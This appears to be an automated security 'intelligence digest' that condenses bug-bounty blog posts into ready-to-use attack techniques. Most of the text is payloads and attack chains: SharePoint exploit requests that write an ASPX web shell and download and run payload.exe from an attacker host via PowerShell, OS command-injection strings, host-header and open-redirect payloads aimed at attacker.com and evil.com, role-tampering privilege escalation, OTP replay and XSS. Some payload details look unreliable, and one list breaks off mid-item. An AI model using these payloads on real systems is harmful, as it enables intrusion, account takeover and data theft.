ETX Signal-X

Daily Intelligence Digest

Thursday, March 5, 2026

10	18
ARTICLES	TECHNIQUES

Article 1

CSRF TO ACCOUNT TAKEOVER

Source: securitycipher

Date: 21-Mar-2025

URL: https://levi4.medium.com/csrf-to-account-takeover-83cacd848903

⚠️ No actionable techniques found

Article 2

My first shot with Bugbounty Radar and I hit a vuln—bounty coming soon?

Source: securitycipher
Date: 18-Jul-2025
URL: https://medium.com/@liusdgs/my-first-shot-with-bugbounty-radar-and-i-hit-a-vuln-bounty-coming-soon-93a9cfa91727

T1 Host Header Injection for Password Reset Link Manipulation

💉 Payload

```
POST /password-reset HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
Content-Type: application/json
Content-Length: 45

{"email":"victim@target.com"}
```

⚔️ Attack Chain

1. Identify the password reset endpoint (e.g., /password-reset).
2. Craft a POST request to the endpoint with the victim's email in the body.
3. Add the header `X-Forwarded-Host: attacker.com` to the request.
4. Submit the request and intercept the password reset email sent to the victim.
5. Observe that the reset link in the email contains `attacker.com` as the host, allowing the attacker to intercept tokens or credentials if the victim clicks the link.

🔍 Discovery

Manual review of password reset functionality and observation of reflected host values in reset links. Testing for host header injection using `X-Forwarded-Host`.

🔓 Bypass

Bypasses standard host header validation by leveraging `X-Forwarded-Host`, which may be trusted by backend logic or email template rendering.

🔗 Chain With

Can be chained with phishing attacks (malicious reset links), session fixation, or open redirect vulnerabilities for account takeover or credential theft.

T2 Open Redirect via Password Reset Link Parameter

💉 Payload

```
GET /password-reset?redirect=https://attacker.com HTTP/1.1
Host: vulnerable-website.com
```

⚔️ Attack Chain

1. Locate the password reset endpoint that accepts a `redirect` parameter.
2. Supply an external URL (e.g., https://attacker.com) as the `redirect` value.
3. Trigger the password reset flow and observe that, after reset, the user is redirected to the attacker-controlled site.

🔍 Discovery

Parameter discovery and fuzzing on password reset endpoints. Testing with external URLs to check for open redirects.

🔓 Bypass

If the application only checks for the presence of `http` or uses weak allow-listing, attacker can use variations (e.g., `https://`, `//attacker.com`) to bypass filters.

🔗 Chain With

Can be combined with social engineering, phishing, or session token theft after password reset.

Article 3

SharePoint Under Siege: Unauthenticated RCE via CVE-2025–53770 & CVE-2025–53771

Source: securitycipher

Date: 24-Jul-2025

URL: https://medium.com/@umeryousuf26/sharepoint-under-siege-unauthenticated-rce-via-cve-2025-53770-cve-2025-53771-194d489093bf

T1 Unauthenticated Remote Code Execution via CVE-2025-53770 (SharePoint)

💉 Payload

```
POST /_layouts/15/ProcessBatchData.aspx HTTP/1.1
Host: sharepoint-victim.corp
Content-Type: application/xml
Content-Length: 324

<Batch OnError="Continue" ListVersion="1" ViewName="">
  <Method ID="1" Cmd="New">
    <Field Name="ID">1</Field>
    <Field Name="Title">test</Field>
    <Field Name="__type">SP.File</Field>
    <Field Name="FileLeafRef">exploit.aspx</Field>
    <Field Name="File">
      <%@ Page Language="C#" %>
      <% Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c whoami")); %>
    </Field>
  </Method>
</Batch>
```

⚔️ Attack Chain

1. Send a crafted POST request to `/_layouts/15/ProcessBatchData.aspx` with an XML batch payload.
2. Abuse the `SP.File` type and `FileLeafRef` to write an arbitrary ASPX file to the webroot.
3. Inject C# code in the `File` field to execute arbitrary commands (e.g., `whoami`).
4. Access the dropped `exploit.aspx` to trigger code execution as the SharePoint service account.

🔍 Discovery

Manual review of SharePoint batch processing endpoints for unsafe deserialization and file write primitives. Researcher noticed unauthenticated access to `ProcessBatchData.aspx` and tested XML payload manipulation.

🔓 Bypass

No authentication required; endpoint does not validate user context for batch file operations.

🔗 Chain With

Combine with internal network pivoting (e.g., drop webshell for lateral movement). Chain with privilege escalation if SharePoint service has elevated permissions.

T2 Unauthenticated Remote Code Execution via CVE-2025-53771 (SharePoint, .svc Handler Abuse)

💉 Payload

```
POST /_vti_bin/ExcelRest.svc/$metadata HTTP/1.1
Host: sharepoint-victim.corp
Content-Type: application/xml
Content-Length: 212

<root>
  <Command>
    <![CDATA[
      <script runat="server">
        System.Diagnostics.Process.Start("cmd.exe", "/c powershell -c Invoke-WebRequest htt
p://attacker/payload.exe -OutFile C:\\Windows\\Temp\\payload.exe; Start-Process C:\\Windows
\\Temp\\payload.exe");
      </script>
    ]]>
  </Command>
</root>
```

⚔️ Attack Chain

1. Send a POST request to `/_vti_bin/ExcelRest.svc/$metadata` with a crafted XML payload containing embedded server-side script in a CDATA section.
2. The .svc handler parses and executes the injected script block.
3. Payload triggers download and execution of a remote binary (e.g., reverse shell) via PowerShell.

🔍 Discovery

Fuzzing .svc endpoints for XML/script injection vectors. Researcher noticed ExcelRest.svc mishandles CDATA/script blocks, leading to code execution.

🔓 Bypass

No authentication or anti-CSRF required. The endpoint fails to sanitize or restrict script blocks in XML commands.

🔗 Chain With

Use to deploy persistent backdoors or C2 implants. Combine with internal enumeration for further exploitation.

Article 4

Password Change Doesn’t Expire Sessions — A Hidden Risk in Session Management

Source: securitycipher

Date: 18-Jul-2025

URL: https://spidergk.medium.com/password-change-doesnt-expire-sessions-a-hidden-risk-in-session-management-701c884aa86c

T1 Session Persistence After Password Change (Insufficient Session Expiration)

💉 Payload

```
1. Log into the same account on two different browsers (e.g., Brave and Firefox) using the
same credentials.
2. In Browser A (Brave), navigate to account settings and change the account password succe
ssfully.
3. In Browser B (Firefox), refresh the page or perform any authenticated action.
   - Observe: The session in Browser B remains active and is not invalidated; no re-authent
ication is required.
```

⚔️ Attack Chain

1. Obtain valid credentials for a target account (or a valid session token via any means).
2. Log in to the target account on two separate browsers/devices (or share a session with an attacker).
3. In one browser/device, change the account password via the account settings page.
4. In the other browser/device, refresh or continue using the session.
5. Confirm that the session remains active and is not expired after the password change.

🔍 Discovery

Manual session management testing: Researcher intentionally logged into the same account on two browsers to observe session behavior after a password change. The test was triggered by knowledge that robust platforms should expire all sessions on password change, but this application did not.

🔓 Bypass

No explicit bypass required; the flaw is due to missing session invalidation logic on password change. Any valid session (stolen, leaked, or legitimate) persists after a password update.

🔗 Chain With

Combine with session fixation, session theft, or XSS to maintain access to an account even after the legitimate user attempts to secure it by changing their password. Enables persistent Account Takeover (ATO) scenarios if the attacker obtains a session prior to password change.

Article 5

Email = Token = Broken Auth in Booking System

Source: securitycipher

Date: 12-Nov-2025

URL: https://medium.com/@mohamedahmeds1029/email-token-broken-auth-in-booking-system-b54a7f5d7a52

T1 Email Address as Authentication Token for Booking Modification

💉 Payload

```
POST /api/booking/modify HTTP/1.1
Host: targetsite.com
Content-Type: application/json

{
  "booking_id": "123456",
  "token": "victim@email.com",
  "new_date": "2024-07-01"
}
```

⚔️ Attack Chain

1. Attacker discovers the booking modification endpoint (`/api/booking/modify`) accepts a `token` parameter.
2. Attacker determines that the `token` parameter is actually the user's email address.
3. Attacker obtains a victim's email address (e.g., via OSINT, previous communications, or guessing common patterns).
4. Attacker crafts a request with the victim's email as the token and a valid booking ID.
5. Attacker submits the request to modify the victim's booking (e.g., change date, details).

🔍 Discovery

Observed that the booking modification API used a `token` parameter. Fuzzing and inspection revealed that valid email addresses were accepted as tokens, and no additional authentication or verification was required.

🔓 Bypass

No session or password verification is enforced; knowledge of the email address alone is sufficient to authorize booking modifications.

🔗 Chain With

Can be chained with email enumeration or OSINT to mass-modify bookings for known users. Enables account takeover or denial-of-service by altering or cancelling bookings for high-value targets.

T2 Booking Details Disclosure via Email-as-Token in Booking Retrieval

💉 Payload

```
POST /api/booking/get HTTP/1.1
Host: targetsite.com
Content-Type: application/json

{
  "booking_id": "123456",
  "token": "victim@email.com"
}
```

⚔️ Attack Chain

1. Attacker identifies the booking retrieval endpoint (`/api/booking/get`) with a `token` parameter.
2. Attacker supplies a known booking ID and the victim's email address as the token.
3. The API returns full booking details (e.g., PII, booking history, contact info) without further authentication.

🔍 Discovery

Testing the booking retrieval endpoint with various values for the `token` parameter revealed that any valid email address matching a booking would return sensitive booking information.

🔓 Bypass

No session or password validation; email address is treated as a bearer token for sensitive booking data.

🔗 Chain With

Enables mass scraping of booking data if booking IDs are predictable or enumerable. Can be combined with modification technique to escalate to full account control or targeted attacks.

Article 6

OTPs Gone Wild: When “One-Time” Means... Multiple Times?

Source: securitycipher

Date: 01-Jul-2025

URL: https://medium.com/@chorfimajd22/otps-gone-wild-when-one-time-means-multiple-times-9ae883b0cf18

T1 OTP Reuse via Multiple Endpoints

💉 Payload

```
POST /api/v1/verify-otp HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "otp": "123456"
}
```

⚔️ Attack Chain

1. Register or login to obtain a valid OTP (e.g., via /api/v1/send-otp).
2. Use the OTP to authenticate via the intended endpoint (e.g., /api/v1/verify-otp).
3. Reuse the exact same OTP on a different endpoint (e.g., /api/v1/transaction/verify-otp) or for a different action (e.g., password reset, transaction approval) before the OTP expires.
4. Observe that the OTP is accepted multiple times across different endpoints or actions.

🔍 Discovery

Noticed that OTPs were not invalidated after first use; testing revealed they could be reused for other flows before expiry. Triggered by curiosity about OTP scope and session management.

🔓 Bypass

OTP validation was only tied to expiry, not to single-use or action scope. No linkage between OTP and specific action or endpoint.

🔗 Chain With

Can chain with session fixation, privilege escalation, or account takeover by reusing OTPs across sensitive flows (e.g., use login OTP for money transfer approval).

T2 OTP Replay Across Accounts (Session/Token Swap)

💉 Payload

```
POST /api/v1/verify-otp HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <victim_token>

{
  "otp": "123456"
}
```

⚔️ Attack Chain

1. Obtain a valid OTP for your own account (attacker-controlled, e.g., via /api/v1/send-otp).
2. Swap your session or Authorization token with the victim's (e.g., via session fixation, XSS, or other means).
3. Submit the attacker's OTP using the victim's Authorization token to /api/v1/verify-otp.
4. Observe that the OTP is accepted, authenticating as the victim or performing actions on their behalf.

🔍 Discovery

Tested OTPs across different sessions/tokens; noticed OTPs were not bound to user or session, allowing replay with swapped tokens.

🔓 Bypass

OTP validation failed to bind OTP to user/session context, allowing cross-account replay.

🔗 Chain With

Can be chained with session fixation, CSRF, or XSS to escalate to full account takeover or unauthorized actions.

T3 OTP Reuse for Sensitive Actions (Privilege Escalation)

💉 Payload

```
POST /api/v1/transaction/verify-otp HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "otp": "123456"
}
```

⚔️ Attack Chain

1. Trigger a low-privilege OTP flow (e.g., login or email verification).
2. Capture the issued OTP (e.g., 123456).
3. Use the same OTP to authorize a high-privilege action (e.g., money transfer, password reset) via a different endpoint (e.g., /api/v1/transaction/verify-otp).
4. Observe that the OTP is accepted for the privileged action.

🔍 Discovery

Tested OTPs issued for low-privilege actions on high-privilege endpoints; found no scoping or action binding.

🔓 Bypass

OTP not scoped to action type; any valid OTP accepted for any action during validity window.

🔗 Chain With

Enables privilege escalation, chaining with IDOR or insufficient authorization to perform unauthorized sensitive actions.

Article 7

Blind OS Command Injection with time delays from Theory to Practical POC

Source: securitycipher
Date: 03-Jul-2024
URL: https://medium.com/@dhruvsingh0203/hola-hackers-im-dhruv-singh-a-cybersecurity-enthusiast-passionate-about-exploring-the-depths-834a9d140115

T1 Blind OS Command Injection via Time-Based Payloads

💉 **Payload**

```
username=admin&password=admin' || sleep 10--
```

⚔️ **Attack Chain**

1. Identify a parameter (e.g., username or password) in a login or input form that is reflected in backend command execution.
2. Inject a time-delay command (e.g., `sleep 10`) into the parameter value to test for command injection.
3. Observe the response time of the application; a significant delay indicates successful command execution.

🔍 **Discovery**

Manual fuzzing of input parameters with time-delay commands and monitoring for abnormal response times.

🔓 **Bypass**

If input is filtered for special characters, attempt alternate encodings or command separators (e.g., `|`, `;`, `&&`).

🔗 **Chain With**

Can be chained with SSRF, LFI, or authentication bypass to reach command injection points not directly exposed.

T2 Blind OS Command Injection with Output Redirection for Exfiltration

💉 Payload

```
username=admin&password=admin' || whoami > /var/www/html/whoami.txt--
```

⚔️ Attack Chain

1. Locate an injectable parameter in a web form or API endpoint.
2. Inject a command that writes the output of `whoami` to a web-accessible file (e.g., `/var/www/html/whoami.txt`).
3. Access the file via the web server to retrieve command output, confirming code execution.

🔍 Discovery

Testing for command injection using output redirection and verifying file creation or modification on the server.

🔓 Bypass

If direct output is blocked, use alternative writable directories or indirect exfiltration (e.g., DNS, HTTP callbacks).

🔗 Chain With

Combine with LFI to read the output file if directory listing or direct access is restricted.

T3 Blind OS Command Injection Using Logical Operators for Bypassing Input Filters

💉 Payload

```
username=admin&password=admin' || (sleep 5 && whoami)--
```

⚔️ Attack Chain

1. Identify parameters vulnerable to command injection but protected by basic filters.
2. Inject payloads using logical operators (e.g., `&&`, `||`) to chain commands and bypass simple blacklists.
3. Use time delay to confirm execution and attempt to leak output as in previous techniques.

🔍 Discovery

Testing with various logical operators to bypass input sanitization and trigger command execution.

🔓 Bypass

Alternate between different operators and whitespace variations to evade pattern-based filters.

🔗 Chain With

Can be combined with output redirection or chained commands for more complex exploitation.

Article 8

Critical Privilege Escalation: Viewer Can Gain Admin Access

Source: securitycipher

Date: 28-Sep-2025

URL: https://medium.com/@xploiterr/critical-privilege-escalation-viewer-can-gain-admin-access-56069a4ccf95

T1 Privilege Escalation via Modifiable Role Parameter in Profile Update

💉 Payload

```
POST /api/user/update-profile HTTP/1.1
Host: targetsite.com
Authorization: Bearer <viewer_token>
Content-Type: application/json

{
  "name": "attacker",
  "email": "attacker@evil.com",
  "role": "admin"
}
```

⚔️ Attack Chain

1. Authenticate as a low-privileged user (Viewer).
2. Intercept the profile update request sent to `/api/user/update-profile`.
3. Modify the `role` parameter in the JSON body from `viewer` to `admin`.
4. Forward the modified request with the valid viewer's token.
5. Observe that the user is now granted admin privileges.

🔍 Discovery

While reviewing the profile update functionality, noticed the `role` parameter was present in the request body and not greyed out or filtered by the frontend. Testing modification of the parameter revealed privilege escalation.

🔓 Bypass

No server-side validation of the `role` parameter; backend trusts user input for role assignment.

🔗 Chain With

Once admin privileges are obtained, attacker can access admin-only endpoints, perform sensitive actions, or further escalate impact (e.g., user management, data access, configuration changes).

T2 Privilege Escalation via Tampering with Role in Registration Endpoint

💉 Payload

```
POST /api/user/register HTTP/1.1
Host: targetsite.com
Content-Type: application/json

{
  "name": "attacker",
  "email": "attacker@evil.com",
  "password": "Passw0rd!",
  "role": "admin"
}
```

⚔️ Attack Chain

1. Craft a registration request to `/api/user/register` with the `role` field set to `admin`.
2. Submit the request.
3. Receive credentials for a new user with admin privileges.

🔍 Discovery

Fuzzing the registration endpoint with additional parameters revealed that the `role` field was accepted and not filtered or overridden by the backend.

🔓 Bypass

No server-side enforcement of allowed roles during registration; the API accepts arbitrary role assignments.

🔗 Chain With

Allows direct creation of admin accounts, which can be used for persistent access, lateral movement, or chaining with other vulnerabilities (e.g., mass account creation, privilege abuse).

Article 9

Bypassing Rate Limit on Password Reset Page

Source: securitycipher

Date: 07-Feb-2025

URL: https://medium.com/@omaroymdm/bypassing-rate-limit-on-password-reset-page-63814feec6f5

T1 Unlimited Password Reset Request via Missing Rate Limiting

💉 Payload

```
POST /endpoint HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

user=test&pass=wrongpass
```

⚔️ Attack Chain

1. Identify the password reset or login endpoint (e.g., /endpoint).
2. Craft a POST request with valid parameters (e.g., user and pass fields).
3. Send a high volume of requests (e.g., 100+) in rapid succession using automation (Python script or Burp Suite Intruder/Repeater).
4. Observe that the server does not return HTTP 429 (Too Many Requests) or any blocking response, confirming no rate limiting.
5. Use this to:

🔍 Discovery

Manual testing with Burp Suite and automation using a Python script to send multiple requests rapidly. The absence of HTTP 429 or blocking responses indicated missing rate limiting.

🔓 Bypass

No rate limiting or CAPTCHA implemented on the password reset endpoint. No per-IP or per-user restrictions observed.

🔗 Chain With

Combine with user enumeration to identify valid accounts. Chain with weak token generation to brute-force password reset tokens for account takeover. Use for denial-of-service by flooding the mail server, impacting all users.

Article 10

How I Got Listed on CERT-In's Hall of Fame Before Turning 20

Source: securitycipher

Date: 30-Aug-2025

URL: https://medium.com/@Yukeshwaran-N/how-i-got-listed-on-cert-ins-hall-of-fame-before-turning-20-630113e834d1

T1 Open Redirect via URL Parameter in CERT-In Portal

💉 Payload

```
GET /portal/redirect?url=https://evil.com HTTP/1.1
Host: www.cert-in.org.in
```

⚔️ Attack Chain

1. Locate the endpoint `/portal/redirect` on the CERT-In portal which accepts a `url` parameter.
2. Supply an external, attacker-controlled URL (e.g., `https://evil.com`) as the value for the `url` parameter.
3. Send the request and observe that the application redirects the user to the supplied external URL without validation.

🔍 Discovery

Manual parameter fuzzing and observation of URL-based navigation endpoints. The researcher noticed a `redirect` endpoint and tested with an external domain to confirm open redirect behavior.

🔓 Bypass

No explicit bypass logic described, but the endpoint did not validate the domain or scheme, allowing direct external redirection.

🔗 Chain With

Can be chained with phishing campaigns, session hijacking, or as a step in OAuth token theft if the redirect endpoint is used in authentication flows.

T2 Reflected XSS via Search Parameter in CERT-In Portal

💉 Payload

```
GET /portal/search?query=<script>alert(1)</script> HTTP/1.1
Host: www.cert-in.org.in
```

⚔️ Attack Chain

1. Identify the `/portal/search` endpoint which reflects the `query` parameter in the response HTML.
2. Inject a basic XSS payload, such as `<script>alert(1)</script>`, into the `query` parameter.
3. Send the request and observe JavaScript execution in the browser, confirming reflected XSS.

🔍 Discovery

Manual testing of search and input-reflecting endpoints. The researcher inserted script tags in the `query` parameter and observed script execution in the browser.

🔓 Bypass

No WAF or input filtering was present, allowing direct injection of script tags.

🔗 Chain With

Can be chained with open redirect (Technique 1) for advanced phishing or session theft. May also be used for privilege escalation if admin users are targeted.